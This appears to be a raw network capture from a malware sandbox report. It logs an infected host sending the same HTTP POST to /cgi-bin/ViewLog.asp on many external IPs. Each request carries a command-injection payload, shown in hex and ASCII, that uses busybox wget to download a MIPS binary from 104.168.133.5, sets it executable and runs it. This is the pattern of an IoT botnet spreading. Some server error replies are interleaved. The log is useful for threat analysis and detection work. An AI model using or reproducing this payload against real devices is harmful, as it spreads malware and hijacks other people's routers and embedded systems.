Nov 23, 2023 05:15:23.714015007 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	48026	62.29.87.204	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:23.719598055 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	43856	31.44.135.173	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:23.731738091 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	43750	31.136.104.143	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:24.048238039 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:24.614670992 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:25.734698057 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:28.038624048 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:32.646902084 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:41.606601954 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:01.062599897 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:37.926456928 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	39206	94.122.196.122	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:24.090281010 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	41296	94.121.120.91	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:24.113650084 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	33316	94.130.92.90	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.564101934 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:25.752986908 CET	608	IN	HTTP/1.1 404 Not Found Cache-Control: must-revalidate,no-cache,no-store Content-Type: text/html;charset=iso-8859-1 Content-Length: 382 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 2f 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 32 3e 48 54 54 50 20 45 52 52 4f 52 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 74 61 62 6c 65 3e 0a 3c 74 72 3e 3c 74 68 3e 55 52 49 3a 3c 2f 74 68 3e 3c 74 64 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 53 54 41 54 55 53 3a 3c 2f 74 68 3e 3c 74 64 3e 34 30 34 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 4d 45 53 53 41 47 45 3a 3c 2f 74 68 3e 3c 74 64 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 53 45 52 56 4c 45 54 3a 3c 2f 74 68 3e 3c 74 64 3e 64 65 66 61 75 6c 74 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/><title>Error 404 Not Found</title></head><body><h2>HTTP ERROR 404 Not Found</h2><table><tr><th>URI:</th><td>/cgi-bin/ViewLog.asp</td></tr><tr><th>STATUS:</th><td>404</td></tr><tr><th>MESSAGE:</th><td>Not Found</td></tr><tr><th>SERVLET:</th><td>default</td></tr></table></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	44440	31.184.211.54	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.569591999 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:25.765096903 CET	608	IN	HTTP/1.1 404 Not Found Cache-Control: must-revalidate,no-cache,no-store Content-Type: text/html;charset=iso-8859-1 Content-Length: 382 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 2f 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 32 3e 48 54 54 50 20 45 52 52 4f 52 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 74 61 62 6c 65 3e 0a 3c 74 72 3e 3c 74 68 3e 55 52 49 3a 3c 2f 74 68 3e 3c 74 64 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 53 54 41 54 55 53 3a 3c 2f 74 68 3e 3c 74 64 3e 34 30 34 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 4d 45 53 53 41 47 45 3a 3c 2f 74 68 3e 3c 74 64 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 53 45 52 56 4c 45 54 3a 3c 2f 74 68 3e 3c 74 64 3e 64 65 66 61 75 6c 74 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/><title>Error 404 Not Found</title></head><body><h2>HTTP ERROR 404 Not Found</h2><table><tr><th>URI:</th><td>/cgi-bin/ViewLog.asp</td></tr><tr><th>STATUS:</th><td>404</td></tr><tr><th>MESSAGE:</th><td>Not Found</td></tr><tr><th>SERVLET:</th><td>default</td></tr></table></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	56666	85.227.225.164	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.576400995 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:25.795270920 CET	680	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 23 Nov 2023 04:15:25 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	48926	31.16.16.9	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.577754974 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:25.791138887 CET	409	IN	HTTP/1.1 405 Method Not Allowed Allow: OPTIONS, GET Content-Type: application/json; charset=UTF-8 Vary: Origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block Date: Thu, 23 Nov 2023 04:15:25 GMT Content-Length: 55 Connection: close Data Raw: 7b 22 63 6f 64 65 22 3a 34 30 35 2c 22 6d 65 73 73 61 67 65 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 2e 22 2c 22 64 61 74 61 22 3a 7b 7d 7d 0a Data Ascii: {"code":405,"message":"Method Not Allowed.","data":{}}

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	50098	62.155.151.221	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.581605911 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:25.796482086 CET	1340	IN	HTTP/1.0 200 OK Server: DEFAULT IP PLATFORM Content-type: text/html Expires: Fri, 10 Apr 2008 14:00:00 GMT Pragma: no-cache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 3c 74 69 74 6c 65 3e 4d 44 54 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 47 6d 62 48 20 2d 20 4b 4e 58 2d 49 50 20 49 6e 74 65 72 66 61 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 67 66 74 2e 63 73 73 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 64 74 2e 64 65 22 20 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 69 6d 67 2f 6c 6f 67 6f 2e 67 69 66 22 20 62 6f 72 64 65 72 20 3d 20 22 30 22 20 61 6c 74 3d 22 4d 44 54 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 